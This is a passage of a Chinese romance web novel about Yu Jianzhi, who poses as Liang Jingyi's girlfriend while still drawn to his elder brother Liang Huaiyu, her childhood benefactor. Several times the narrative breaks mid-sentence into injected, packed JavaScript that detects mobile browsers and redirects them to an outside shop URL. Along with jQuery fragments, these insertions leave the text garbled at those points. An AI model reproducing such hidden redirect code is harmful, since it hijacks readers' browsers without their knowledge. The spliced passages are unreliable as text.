也对,通过短信发更合适,因为梁怀聿对她这么好,不是因为她是他的员工,他的下属,而是因为她是余简之。 【余简之:怀聿哥哥,谢谢你】 余简之起身去食堂吃午饭时收到了梁怀聿的回复。 【梁怀聿:你很瘦,多吃点。有去体检吗?不要像小时候一样营养不良】 手机屏幕的光,晃得她眼睛忽然一阵酸涩。时隔多年,她终于再次收到他的关心。 【余简之:没有营养不良呢!我现在是正常体重】 【余简之:[图片]】 她发的是体检报告截图,是她在美国上班时公司统一组织的体检。 梁怀聿放大,看清第二行的数字。 161cm,49kg。 【梁怀聿:你瘦了十斤】 【余简之:这叫抽条啦,不是瘦!】 【余简之:抽条的意思是,我小时候有婴儿肥,但是长大后就没有了】 【梁怀聿:[图片]】 图片内容:161cm模特体重46.6kg美体体重51.8kg标准体重56.9kg 【梁怀聿:你太瘦】 他得出结论。 【余简之:……】 【梁怀聿:女孩子不是越瘦越好看,不要盲目减肥。还是之前那样好看】 余简之崩溃。 他怎么像一位脱离时代的老父亲!! 她不知道该怎么回复,打算晾一会再回复谢谢哥哥。因梁怀聿这番话,余简之打饭比平时更多了。 端着盘子寻到座位,发现梁怀聿又发来了一条消息。 【梁怀聿:[图片]】 她点开一瞧,顿时愣住。 这是十八岁的她,刚刚收到北京某大学的录取通知书。那时她已经养得很好,脸上带着些肉,嘟嘟的。 那天梁怀聿陪她来学校走走,她鼓起勇气,说:“怀聿哥哥,我想和你拍张照片。” 于是文容拿手机给他们拍了合照。回去后,余简之找文容要了照片。 有几张照的不好,阳光刺眼,她不小心眯起了眼,她也不嫌弃地把照片存下来,至今没有删除。 她没想到梁怀聿也存着。 心一动,转念又一想,可是,刚刚他隔了很久才发来,说不定是在找文容要照片吧。 【余简之:哥哥你还存着这些照片呀】 梁怀聿没有立刻回复。余简之有些失望,握着勺子舀起一口热汤。她安慰自己,梁怀聿那么忙,不秒回才是常态。 吃第二口菜时,桌上的手机一振。 【梁怀聿:[图片][图片]】 余简之飞速解锁手机,然后睁大了眼睛。 是八岁的她。 一张是在家乡,一张是上北京看病的时候。 第一张很瘦,像只皮包骨的小猫,再不吃东西就会死翘翘似的。第二张脸颊鼓起了肉,像颗被催熟的小果子。小孩子只要喂得好,长胖很容易。 好羞耻…… 她小时候太瘦,太丑,也有些黑。在他最早的记忆里,原来她是这副……需要被怜悯的模样。 余简之倏忽想到简单,那只漂亮的小白猫。小时候的她,简直就是简单的反义词。 文容也确实叫过她“小黑猫”。 【余简之:啊啊啊别发了】 梁怀聿的手一顿,原本还在相册选照片,此刻全然退出。 这些照片,不算他特意保存。他有定时清理相册的习惯,简之的照片,他觉得没必要删,加上每次换手机,他都会原封不动地备 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“饭啊。我那天随口在群里说想吃饺子了,她说她会包,我说那你上我家包吧,我给你付工资。” 群里聊天的人,来来回回就那几个。而这些人都有着高度同质化的特征:散漫,低俗,虚荣。 所以当一个浅色插画头像的人,在群里冷不丁地说一句“我会包饺子”,他忽然就笑了。 冰箱里明明有没拆封的速冻饺子,但他还是鬼使神差地回复她:“来给我包呗。” 一开始他没有允诺给她付工资,对于她会来,他没有抱太大期望。因为前晚纽约下了雪,很厚,今天仍没有化完。 但是那天晚上,余简之真的来了,跨越三个街区,提着一袋面粉和两块猪肉。 等他心满意足地享用完饺子,余简之才说:“你给我多少工资?” 梁景翊一怔,她看起来根本不是那种精明的女孩呢。 “果然天下没有免费的午餐啊。那我要是不付给你怎么办?” 余简之毫不犹豫地说:“你会付给我的。我在群里观察过你很久,你很有钱,对吗?你是个富二代,所以应该不会为了五十美金和我斤斤计较。” “五十美金?一顿饺子这么贵吗?你好狮子大开口哦。” “纯手工制作哎!” “你当我傻吗,唐人街的纯手工制作不超过二十美金。” “人家唐人街是抠脚大汉做的!我这是美少女亲手制作!你说是不是得加钱?” 一来一回讨价还价,这顿“美少女纯手工制作的饺子”在余简之的夸夸其谈下,身价越来越高,几十美金都玷污了它。 最后梁景翊付了她三百美金。他嘴上说这是包了她一个月的工资,心里却没有真的打算让她来做饭。 什么美食享用不到?非得吃她的纯手工制作。哦不,是美少女纯手工制作。 可过了几天,他忍不住给她发消息。是个小猫的表情包,和她插画头像里的小猫很像。 是今天需要我上岗吗?余简之问。 【梁景翊:不是】 【梁景翊:我叫梁景翊。你叫什么?】 【余简之:余简之】 【梁景翊:好巧,我哥哥养了只猫叫简单,和你的名字很像】 【余简之:你哥哥?亲哥哥吗?】 【梁景翊:对】 【梁景翊:你什么时候有空?来给我做饭?】 【梁景翊:我想念美少女纯手工制作的饺子了】 8. 小雪 梁怀聿问:“她当时很拮据?” “拮据?”梁景翊掸掸头,“也算不上吧。我不是跟你说过么?有个好心人资助她。真拮据的人,哪来的钱留学啊。” 梁怀聿没再追问,手臂稳稳托起简单,走向沙发。那猫在他怀里寻了个舒服的姿势,喉间发出满足的呼噜声。 梁景翊跟过来,陷进沙发里,话匣子关不上:“哥你不信?我一开始也不信!这世上好心人多,但好到把人直接送出国、几百万眼都不眨的,那不是菩萨,得是个傻子——嗷!!!” 趴在梁怀聿膝上的白猫,狠狠给了梁景翊一肉垫。 好在今天下午做驱虫时顺带剪了指甲,这肉垫才真的只是肉垫,没有变成攻击武器。 “简单!!!” 梁景翊愤怒地捏住罪魁祸首爪,简单“喵”了一声,灵巧挣脱,尾巴一甩,用屁股对准了他,将脸埋进梁怀聿的掌心。 “哥,简单它打我!”梁景翊大声控诉。 梁怀聿仿佛没听见,修长的手指挠着简单的耳朵,声音低缓:“简单乖。” “乖个屁!!!” 梁景翊一肚子怒火,揉着手臂,嘀嘀咕咕嘟嘟囔囔抱怨一大通。 他对小动物本来就没多大感觉,梁怀聿应该也是,毕竟从小到大家里就没出现过小动物的身影,除了偶尔在树上停留的小鸟。 所以当这只小白臭猫出现在花园里时,他以为哥哥会毫不留情地把它赶走。当它出现在客厅时,梁景翊以为雪季过去后它就会被放逐。 结果漫长的冬天结束后,它在家里已经有了专门的房间,数十个猫窝等着它选择,猫粮和猫罐头叠叠高。它也有了自己的名字。 在梁景翊小声嘀咕“为什么叫简单啊,不应该叫雪雪吗,捡到它那天不是下雪吗”时,简单毫不犹豫地扑上来给了他俩爪子。从那以后,这只势利猫,就没和梁景翊亲过。 此时此刻他跟个怨夫似的,简单又来脾气了,它要是个人,绝对是在“哼哼”,可它只是个猫,只能哼出一声“喵~” 梁景翊瞪着它,带着情绪地恶狠狠地“喵”了一声。不行,必须要凶回去。 梁怀聿用掌心将简单拢起:“好了,我们不理他。” 下一秒换了语气,冷冰冰的:“你多大人了?跟一只猫计较?” “哈?”梁景翊震惊地瞪着哥哥,“是它先动手好么!有你这么护短的么!” 其实自他稍微懂事点,就知道哥哥的辛苦,所以很少和哥哥闹脾气了。他们兄弟俩关系的转折似乎就是从这只猫出现后! 梁怀聿不理他。 “那个资助人。你继续说。” “我跟你这种死猫奴没什么好说的,你自己去问简之吧,我要把你挂网上,你就是网络上抨击的那种不分青红皂白的爱猫分子,我要让他们喷死你。” 梁景翊继续嘀嘀咕咕嘟嘟囔囔的。 梁怀聿只回复他一个字:“卡。” 梁景翊立刻切换到兄友弟恭的脸皮,端端正正坐好:“亲爱的哥哥,您对哪部分感兴趣呢?弟弟我一定知无不言哦!” “把你知道的说一遍就行。” 坚持不过一秒钟,梁景翊懒下来:“那个傻子资助人给她很多钱的,她不拮据,只是节俭。有次我帮她办事不小心看到了她卡上余额呢,有三四百万呢!” “傻子资助人。”梁怀聿重复了一遍,脸上没什么表情,继续挠着简之的下巴。 “对啊!你见过这种人么,不按月付学费和生活费,一次性给她好几百万?”梁景翊啧啧两声,“我估计那人人傻钱多没地方花。不过虽然人笨,至少善良,愿意托举我们可爱的小简之上大学——” 梁景翊倏地凑近,大掌一伸,将带着满满敌意的简单死死按在哥哥腿上。 “哎,其实我怀疑过那个资助人是不是喜欢简之。我跟你说,那个资助人可是个男的。一个男的愿意给女孩子花这么多钱,一般都动机不纯的。哥,你觉得呢?” 梁怀聿冷冷的:“我没你那么多看法。” 他抱着猫回了卧室,梁景翊莫名其妙地看着他:“干嘛?你突然生啥气啊?” 梁怀聿懒得理他,简单则在臂弯里探出脑袋,恶狠狠地亮出没有指甲的小肉垫。 - 梁景翊说周日上午来接她,因此余简之在周六晚上就收拾好了全部行李,不然早上噼里啪啦一顿收拾,会吵醒单休、每周只有一天能睡到自然醒的舍友。 起床后,她收拾好床褥,将两个箱子几个袋子提到楼下,再去房东那还了钥匙。 她没有租满三个月,得扣一个月押金。余简之肉疼极了。 她站在路边等待,梁景翊发来消息: 【梁景翊:我今天突然得去我小姨家一趟[哭][哭]】 【梁景翊:抱歉简之,我不能帮你搬家了】 【梁景翊:我喊了我们家司机去帮忙】 余简之在风中满脸黑线。 好吧,司机就司机,司机更好,力气比梁景翊大,更管用。 五分钟后,司机来了。 余简之看着开门下车的男人,一呆,然后马不停蹄地扬起笑脸:“哥哥,怎么是你呀。” “家里有人身体不舒服,景翊陪着去看看。我来帮你。” “哦,哦,好。” 余简之仍拘谨着,梁怀聿就已上前一步,拎起她的大袋子,余简之赶紧提着行李箱跟过去,所有的行李塞进后备箱。 坐进副驾驶,余简之望着窗外不断变换的风景,目光掠过街上急忙奔走的行人。 北京的冬天比家乡冷许多,昨天余平安收拾行李,带的多是薄外套,余简之连忙让她换成厚点的衣服。 余平安说北京这么冷么! 你笨呀。我们在南方,北京在北方,冬天还要落雪的。 余简之收回目光,托着腮,舌头在口腔里顶起一块软肉,搭在脸颊上的手指轻轻敲着。 “哥哥。” “嗯?” 梁怀聿用一声不轻不重的鼻音回应时,余简之差点跳起来,她这才反应过来自己刚刚喊了他。 “怎么了?”他继续问,梁怀聿抽空瞥了她一眼。 小姑娘看起来很紧张,掸着衣摆:“……哦,就是感觉今年冬天好冷,应该会下很大的雪吧。” “那你会很开心吧。” “嗯?”余简之没反应过来。 梁怀聿哑然一笑。“忘了,你长大了,已经不是爱玩的小孩了。” 余简之沉默地凝着他的侧脸。每次梁怀聿说她是小孩时,她都忍不住跋扈起来,心想我才不是小孩子呢!现在真的不是小孩子了,她忽然又希望时光能倒流,自己依然是那个需要他帮助的小女孩。 过了很久,久到梁怀聿以为这个话题就此终止时,余简之忽然说:“谢谢哥哥总是满足我的心愿。从前每次哥哥带我来北京看雪,我都非常开心。” 这时车辆驶入地下停车场,由亮变暗,不适应的眸子只接触到黑暗,像跌进一个与世隔绝的茧。 伴随着咔嗒经过减速带的声音,眼前逐渐明朗,梁怀聿的声音在这时响起: “美国的雪天更美吧?雪更厚。” 漆黑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202933|197269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的不够明亮的停车场似乎给了她蠢蠢欲动的心安放之地。 “我最喜欢北京的雪天。”余简之这样答了,她在心里补上一句,因为和你在一起呀。 余简之的行李很少,上下楼两个来回便搬完,她心想其实不用麻烦他们,她自己打个车也能搬家。 梁景翊买的那些家具都送到了,也组装好了,余简之将它们搬到该有的位置。 “还有什么缺的吗?我们现在去买。” 余简之茫然地环顾一圈家,空空荡荡的,没有居住痕迹,看着很别扭。但该置办的东西都置办了,什么也不缺。 “没有缺的。” 尽管她这样答了,梁怀聿仍坚持带着她去了超市,余简之觉得哪哪都不需要,梁怀聿不管她,拿了大米、油、调味瓶、牛奶、蔬菜水果…… 还有一盆小多肉。 原本觉得哪哪都不缺的余简之,梁怀聿拿一个,她就觉得缺一个。这些笨重的东西,被梁怀聿一车拉回来,给她省了事。 余简之将物品归位,最后将那盆小多肉放在窗台上,喂了一点点水。 这下家里就有了温馨的感觉。 余简之回过头:“哥哥,今天麻烦你了,我请你吃饭吧!” 以余简之的工资,自然没办法选择上次那家餐厅,在路边挑了一家普通的家常菜馆。梁怀聿对这些不甚在意,和她一起进了餐厅。 打开菜单,余简之惊喜地发现有许多老家的特色菜,她点了两道很想吃的,梁怀聿也顺着她的意,点了她的家乡菜。 “有回去看看吗?”梁怀聿问。 “……没有。”余简之摇摇头,“我连家都没有,回去了也没什么好待的,还得麻烦平安。” “平安,现在还是小豆子吗?” 小豆子,不管听梁怀聿这样称呼平安多少遍,余简之都会忍不住笑出声。朗朗笑声里,她答:“她现在比我高了。” “她也在北京?” 余简之拆开餐具的外包装。 “没有啊,她在老家做教培。嗯……工资在老家来说还可以,但是会比较辛苦,毕竟又要和学生打交道又要和家长。遇上难缠的会很烦。” 余简之没好意思说,余平安已经在收拾来北京的行李了。要是说出来,梁怀聿会不会有种又被她们姐妹俩缠上乞讨的感觉。 “那你怎么知道她比你高了?” 正在倒热水的手一颤,壶嘴歪斜,淡黄色的茶汤泼洒在雪白的桌布上。 梁怀聿没有说话,打开纸巾,隔着桌子递给她。 余简之若无其事地放下水壶,纸巾按在桌布上,茶汤透过纸巾,指尖传来温热的潮湿感。 “她,她发照片给我,我不就知道了吗?她发育晚,大学快毕业了才长个,现在快一米七啦。” 梁怀聿平静无波:“是么。我记得大二那年她来北京找你,个头还只到你肩膀。” “对……” 如果没有人撒谎,那么两个人对于余平安的记忆,都该是这次见面。 从这以后,她就飞往美国。 余简之很不擅长撒谎。余平安曾经告诉过她,她说谎时会习惯性皱眉。梁景翊求她扮演女友时,余简之也担心过这点,梁景翊说那有什么关系,不熟的人根本就发现不了这点。 但是,在梁怀聿面前,她尽管用力克制着自己不去皱眉,心却在紧紧地皱起,一圈圈涟漪荡开,在胸腔边缘震颤。 菜上得及时。 余简之慌忙拿起筷子去夹,嘴唇刚尝到味,梁怀聿的声音再次响起,不疾不徐:“简之,你和景翊在一起多久了?” 9. 小雪 余简之垂下眼,目光放在熟悉的家乡菜上。 这个问题并不难回答。 “九个月了,我们是春天在一起的。” 余简之和梁景翊,虽然同在纽约,但纽约太大,倘若不是刻意邀约,他们根本没有遇到彼此的机会。 经过几次刻意的做饭,然后是刻意的看电影、跨年、聚会……梁景翊的心思昭然若揭。 可是,余简之同样没有拒绝过他的邀约,哪怕只是约会,不是会支付薪水的做饭工作。 她应该是喜欢他的。否则没理由答应他的约会,余简之这么想着,在梁景翊向她表白那天,她抱着同样的想法答应了他。 和梁景翊在一起很开心。尽管他们差距很大,不过他们都是同龄人,每天有聊不完的话题,和梁景翊相处也很轻松,余简之很爱跋扈地提要求,面对她,梁景翊少有少爷架子,毫无意见,尽力满足。 直到梁景翊说他毕业后会回国。 “为什么?”她以为纨绔子弟大部分都会选择留美。 “因为我哥哥在国内啊。我们家的产业大部分都在国内,到时候我也得学着接手呢。你之前不是说过你也想回国?” 余简之有些迟疑:“……嗯。” “那正好,我们一起回国。” 梁景翊说出“回国”两字后,余简之忽然有种从云端坠落的感觉。 回国。 美国于她而言,更像是一场梦境。不管走得多远,都像是踩在云上,留不下足迹,如果在某处待太久,甚至会下陷。 祖国才是广袤的坚实的土地。她在这里长大,领略祖国的风景,祖国有平安,有……梁怀聿。 在云端,她需要不管不顾地向前奔跑,防止突然到来的坠落;在土地,她将思考如何播种,日月更替,等待丰收。 她注定会在土地安家。 一周后,余简之向梁景翊提了分手。 梁景翊很诧异:“为什么?你是担心我家人会嫌弃你吗?没关系的,我爸妈都去世了,我哥很开明,他不会在意家境的。” “不是这个原因……”余简之不知该怎么说,“在美国我只要考虑怎么开心就足够了,回国后我有太多要考虑的东西。” “什么东西?” 什么东西? 她想得到的,以及无法得到的。 和梁景翊的分手很顺利,没有争吵,他不是那种死缠烂打的性格。向余平安讲述时,她说“是和平分手,还能做朋友的那种和平分手”。 因为时差,余简之第二天醒来才收到余平安的回复。 【余平安:是因为你还喜欢梁怀聿,对吗?】 余简之嘴硬地回复了“NO”。 余平安在下午回复她。 【余平安:骗骗自己得了,你敢说你毕业后不会立马回北京么】 因为余平安这句话,余简之气得毕业后赶紧向实习公司讨要了offer。 就这样又留在美国几个月,由夏入秋,穿上外套的那天她在办公室连打了四个喷嚏。 鼻子擤得红通通的,不知道怎么回事,她点开了梁怀聿公司的官网。 制作中文简历,投递。一切交给命运。 命运就是,立冬那天,她出现在北京大兴机场。 - 说出九个月后,余简之恍然,啊原来这就是蒙太奇谎言。 她和梁景翊确实在春天开始恋爱,倘若没分手,也有九个月了,可惜那只是个宝宝爱情,两个月便胎死腹中。 梁怀聿面无表情。 时间和他所想的差不多。 九个月,梁景翊对恋爱或许算不上多认真,但也绝对是有分寸的那种人。他不可能把不确定的女孩带回家给他认识。 梁景翊是真的喜欢余简之。 他看出来了。 “你喜欢景翊哪里?” 余简之刚夹起一筷菜,话音落下的瞬间,辣椒的辛辣猛地蹿进气管。她大声咳嗽,梁怀聿招手替她要了杯冰水。 冰凉的水经过喉咙,给焦灼的心强行降温,高高举起的水杯阻挡与梁怀聿相接的视线,那一刻她下定决心,放下水杯: “哥哥,其实我——” 手机响了。她从口袋里拿出,在桌下看了看姓名,是梁景翊。 余简之有种干坏事被抓包的感觉。她尴尬一笑:“哥哥我出去接下电话,是工作上的事。” 她顺着指示牌进入卫生间后才按下接听:“喂?” “喂?简之,家搬好了么?” “已经搬好了。”梁景翊好像不知道是梁怀聿来搬的家,他没问,她也就不打算说了。 “那就行,我就是来问问你这个事,要是有什么缺的,你再告诉我,我去安排。” “好……”察觉到他要挂电话,余简之赶紧说,“梁景翊,我们还是向你哥哥坦白吧。” 对面沉默,余简之语速飞快地补充:“我们这样欺骗他不好,要是被发现了,他肯定会生气吧。而且我们也不是真的在一起,到时候我们迟早得分手,对你对我都没有好处啊。” “那我们到时候再顺其自然地分手不就好了吗?分分合合很正常,他不会发现的。” “但是如果被他发现就完了!我还怎么在公司上班啊?” “还没有被发现呢,简之你想那么多干嘛?再说如果你现在跟他说了,让他知道你在欺骗他,他只会更生气吧?你现在就没法在公司待下去了。” “我不想再骗——” 咬到舌头了,猛地一痛。 痛出眼泪,液体涌进大脑的那一刻,余简之迷迷顿顿地意识到,是啊,如果让梁怀聿知道,她和他的弟弟一起撒谎骗他…… 她立刻改口:“算了。但是我演得好累,你哥太聪明了。” 梁景翊的声音动听极了:“加奖金!” 余简之没了犹豫的理由:“成交!” 她握着手机,在洗手台前站了几秒。舌尖抵着被咬痛的地方,一下,两下。 再回到梁怀聿对面,余简之扬起温柔的笑:“我喜欢景翊的温柔、大方、开朗。” 不出错的标准答案。 温柔、大方、开朗。 后两个形容词,确实是梁怀聿心中的弟弟。大方,虽然是拿着他的钱大方,但男孩子大方些是应该的。付出会分泌多巴胺,是快乐的秘诀之一。 开朗,是梁景翊身上最瞩目的特点。活泼、乐观、没有烦恼,对生活永远充满期待,他确实是抱着这样的期望教导弟弟。只是没想到教过头了,太闹腾惹得他心烦。 温柔…… 梁怀聿想象不到竟然会有人用这个词来形容梁景翊。 这样形容他的人,是余简之,是梁景翊的女朋友,所以梁怀聿无法驳斥。也许在恋人面前,梁景翊会收敛性子,展现出在他面前完全不同的另一面。 不出错的标准答案,无法令梁怀聿信服。 隔着桌子,余简之安静地吃饭。她握着筷子的动作很标准,梁怀聿并不是连这种细节都要在意的人,他特意关注这点,是因为余简之一开始握住筷子的姿势很别扭,一旦注意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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走出餐厅,回到小区停车场。余简之走在梁怀聿身边时,他会下意识放慢脚步,方便她跟上。 不过余简之早就长大了,她的步子变大了。就算步子还是那样小小的,她也懂事了,会懂得加快脚步。 舌头下似乎仍藏着花椒。余简之舔了舔上颚,又舔了舔齿龈,没有找到。可是嘴巴里依然酥酥麻麻的。 就这么找了一会,她忽地说:“……我在美国见过很多男人。” 这话不假,余简之很漂亮,她曾经怀疑过当初那么多小孩里,唯独她被选中,是不是因为她漂亮?后来她看过小时候自己像小黑猫的照片,就知道绝对不可能。 但本就貌美的坯子,只需在青春期精心养养,便会出落得水灵灵。 在青春期她开始苦恼出现在桌肚的情书,在美国的第一年她面对陌生人的表白时无所适从,再到后来她逐渐学会不将它当成一种亏欠,尽管她不希望别人只关注到她的漂亮。 但她开始询问,“你叫什么名字呀?” 余简之试着和这些喜欢她的人相处、深入了解,然后在暧昧中揭开对方虚伪的面纱,窥见他们糟糕的底色。 他们不是她会喜欢上的男人。 梁景翊刚好是通过了试用期、从暧昧进入确定关系的一个人。 10. 大雪 余平安乘坐高铁抵达北京的时间是下午四点。 余简之打算请假接她,余平安说不用,她自己打车来就行。等余简之回到家时,屋里烟雾缭绕,弥漫着饭菜香,余平安在厨房里做饭。 她回过头,“哎呀”一声,又立刻转头专心炒菜,一边招呼她:“简之你快来帮我看一下!这个油烟机怎么打开啊?” 余简之连忙放下包,跑来厨房操作:“你看是这样开的,这和之前咱们用的油烟机不一样。你记住了吗?” “OKOK!” 厨房里热气腾腾的,在冬天格外舒服。 “你多久到的啊?”余简之惊讶地说,“不累吗?换我来炒吧!” 为了省四百块钱,余平安选择了十四小时的硬座,凌晨就在车上坐着了。 余平安瞥瞥她的都市丽人穿搭,这套衣服下厨房?绝对不行! “没事儿,就一个菜了,你快去换衣服吧,马上就可以吃饭了。” 余平安和她一样抠搜,唯独在炒菜这件事上舍得,放油放盐,配上了得的炒菜技术,完美放大家乡菜油而不腻的优点,余简之总算不用吃水煮白菜:“好香啊!” 余平安拿出一个罐头瓶:“看,这是什么?” 余简之睁大眼睛:“酱萝卜!” 谁懂,她在美国最馋的就是这一口,别的菜她都能复刻,唯独这酱萝卜,没有那口坛子,始终差了点什么。 “我还带了酱辣椒呢,”余平安指指鸡丁,“喏,炒在里头了。” 余简之泪汪汪:“平安平安你是我的好姐姐,爱死你了!” “哎呀,少肉麻,快吃饭。” 余简之高高兴兴吃完了两碗饭,她拍着肚子,说:“只要你在,怀聿哥就不会说我变瘦了。” 余平安警惕地竖起耳朵:“他这样说你?你们……见过面了?到底怎么回事?” 三言两语讲不清楚,余简之推着余平安回了房间:“你先收拾东西、收拾自己,我去洗碗,待会咱俩躺床上说。” 一小时后,余平安的嗓子差点劈叉:“你说什么!!梁景翊是梁怀聿的弟弟??!” “而且你还在梁怀聿面前假装梁景翊女朋友??” 见她反应这么激烈,余简之神色更加复杂了:“……嗯。非常糟糕的处境。所以我是不是坦白比较好?” “没错,非常糟糕,”余平安点头附和,“比不小心将私密照发进工作群更让人糟糕。” 余简之崩溃:“发错私密照更糟糕好不好?” “但是,发错私密照又没真的发生……”余平安话锋一转,“坦白不是更糟糕吗?你是不是忘了,你现在是两头骗哎,既骗梁怀聿你和梁景翊在一起,又骗梁景翊你和他哥素不相识。” “哦对。” 余简之一直下意识忽视梁景翊也被她隐瞒的情况。如果梁景翊知道她和他哥还有这段事,似乎也不太好收场。 “那天梁景翊离开后,你和怀聿哥说什么了?” 余简之抿抿唇,垂眸,长长的睫毛弯卷着,似要扎进眼睛里。想起那天的事,她的心口就涩涩的。 “他问我什么时候回国的。” 说这句话时,梁怀聿没有笑,声音似乎也冷下来。那一刻余简之知道,他是在跟余简之说话,而不是未来的弟妹,和余简之说话时,他不需要带笑,或者说他不想笑。 余简之诚实告诉他,然后她看见梁怀聿明显不愉。 “他问我回来为什么不告诉他,我直接呆住了。” “所以回来了,你为什么不告诉他?”余平安问。 “就算那天梁景翊没回来,我也不会回答他这个问题。” “你明明是为了他回来的。”余平安戳穿她。 余简之立刻反驳:“我才不是呢!” “在美国有什么不好?有存款有工作,你的幸福指数已经比很多人高了哇。”余平安阴阳怪气一句,“北京到底有谁在呀?” 余简之张了张嘴,没出声,三秒钟后才恼羞成怒地反驳:“哎呀,我都说了我回国不是因为梁怀聿!!!” “算了,口是心非的女人。那你现在怎么想的呢?要是想和哥哥在一起,那就赶紧和梁景翊分手然后坦白呗。不过梁景翊也不错啦,毕竟怀聿哥年纪大了。早做决定吧,你迟早得二选一,兄弟盖饭可不行,结婚证只能写一个人名字。” “又不是乙女游戏,我想选谁就选谁……”余简之扯扯唇,“两边对我来说都是工作。” “那你觉得,梁怀聿现在对你是什么感情?还是……喜欢你吗?” 余简之揉着枕头:“很怪。我想象不到他喜欢我。我二十多,他三十多,他很成熟,为什么要喜欢我这样的小女生?” 余平安的白眼翻到天上去:“那几年前你还是学生,他已经当了很多年社会人了,再十年前,你还是个小屁孩,他就是成年人了……那更奇怪吧?!” “最重要的是,他喜欢你这件事有证据啊,梁怀聿对你这么好,帮着找房又搬家的。就算是弟弟的女朋友,也有些好过头了吧?” 余简之实话实说:“其实……他亲口说了,他依然是我的监护人。这么多年过去了,哥哥可能早就没有那个意思了,他跟我说话就像长辈教训小孩。” 余简之将前天的对话原原本本告诉她。 “我在美国见过很多男人。” 梁怀聿脚步未停,只是侧过头,余简之能感受到他的目光沉静地落在她的脸上。 “是吗。”他的语气平静,听不出波澜,但余简之就是知道,他生气了。 “那他们当中,有人告诉过你,不必用见过多少人来证明自己的选择吗?” 停顿一秒,他的声音更沉缓了些,开口前有一声轻轻的抽气,在余简之听来更像是叹息。 “简之,我很高兴你见识过更广袤的世界。但如果你的选择依然是梁景翊,我很失望。” 话音落下,余简之立刻脚步错乱,梁怀聿体贴地放慢脚步,与她并肩。 “他明确说了不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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和余平安靠在一起睡觉,似乎又回到小时候。睡在她身边很安心,余平安连呼吸都带着故乡的味道,是茂密的浓浓的草木香。 余简之将鼻尖埋过去,贴在她身上,头挨着头。 熟悉的潮湿的气息,令人安心,余简之坠入梦境,梦见了她人生的黎明。 有人说,“如果把人的一生放到一天二十四小时来看,那么二十五岁就是一天中的上午七点半,是朝阳冉冉升起的时候”。 那么,对余简之来说,现在还没有到七点半。 因为她的时针并非从出生起开始转动。八岁那年遇见梁怀聿,才是她生命真正的零点。 在此之前她的世界宛如黑白默片,混沌、破碎、静止。是梁怀聿为她带去了色彩、声音和温度,教她辨认晨昏四季。从此太阳开始运转,围绕着她东升西落。 她的世界不再永远停止在零点,她开始跑出黑暗。 11. 回忆 文容这位表哥,梁怀聿一直觉得他是个怪人。 比方说,在该争夺家产的年纪,他选择不参与那些纷争,自动放弃,归隐山野。 梁怀聿觉得自己更怪。 十八岁后的毕业旅行,他竟然选择和文容一起下乡,一脚踏入地图上某个需要辗转多次才能抵达、被群山褶皱隐藏的村落。 此刻他站在一块不够平坦的石块上。 昨天下过雨,没有修路的乡村一片泥泞,梁怀聿低头看着鞋尖,检查没有染上脏污。明明他已经很小心了,可还是脏了一圈。 这时小孩子们被村长领着出来了,他们噼里啪啦地踩过泥水跑来,梁怀聿垂下视线,一双双黑乎乎的脚底板,就这么光脚踩在地上。 文容温柔地向这群孩子们发放新衣和书本。他一边摸他们的头,一边向他们问好:“小朋友你好啊,以后要好好读书,知道吗?” 这些小孩子呢,很少有能说会道的,个个都像小哑巴,涨红了脸,很久才憋出一句“谢谢哥哥”。 这时,角落里挪过来一个真正的小哑巴,一声不吭,整个人灰扑扑的,像蒙了灰尘的水晶球。 梁怀聿看过去,她很瘦,非常瘦小,不是那种纤细的瘦,宛如被掏空了迷米袋,那样不同寻常的瘦小。 他瞬间想起曾经见过的一只瘦骨嶙峋的幼猫,能透过皮肤看见骨头的形状。小女孩就像这只猫。 文容一点儿也不嫌弃,一如既往地摸摸她脑袋:“小妹妹,要好好读书哦,这里有新衣服,还有童话书,要认真看哦。” 小妹妹不说话,文容也不生气,依然微笑,目送她离开。 还没摸上下一个小朋友的脑袋,就听见扑通一声—— 小妹妹滑了一跤,趴在泥水里,书和新衣抱在怀里,全脏透了。 梁怀聿:…… 他不得不领着她离开,村长打来热水,他帮她擦拭脸上和手臂上的泥水,握着她的手臂,梁怀聿想起了那只幼猫。 他直接握住了她的骨头。 他很讨厌这样的触感,猫咪本该是柔软的动物,那天他却只感受到……坚硬。 梁怀聿草草地将她擦完,拿来新衣,对她说:“你自己换上,可以吗?” 小妹妹还是不说话。 梁怀聿盯着她的脸。 五岁了?还是六岁?总之应该上小学了,他不能帮她换衣服。 “换衣服。听见了吗?”他重复一遍,不管她,离开了堂屋。 他问站在外面的村长:“她是哑巴吗?” “啊呀,不是咧,妹妹她脑壳有点问题。” 村长开始用塑普介绍起这位小女孩迄今为止的人生。短暂,三言两语就讲完。 她不是本村人,八年前一位大着肚子的女人逃到他们村,大概是被拐卖到别村的女人。 女人疯了,公安来过,问不出任何话,没办法送她回家,就这样将她扔在了这里。后来被他们村一个女哑巴收养,几个月后女人生下了妹妹,喂到妹妹断奶,她就去世了。 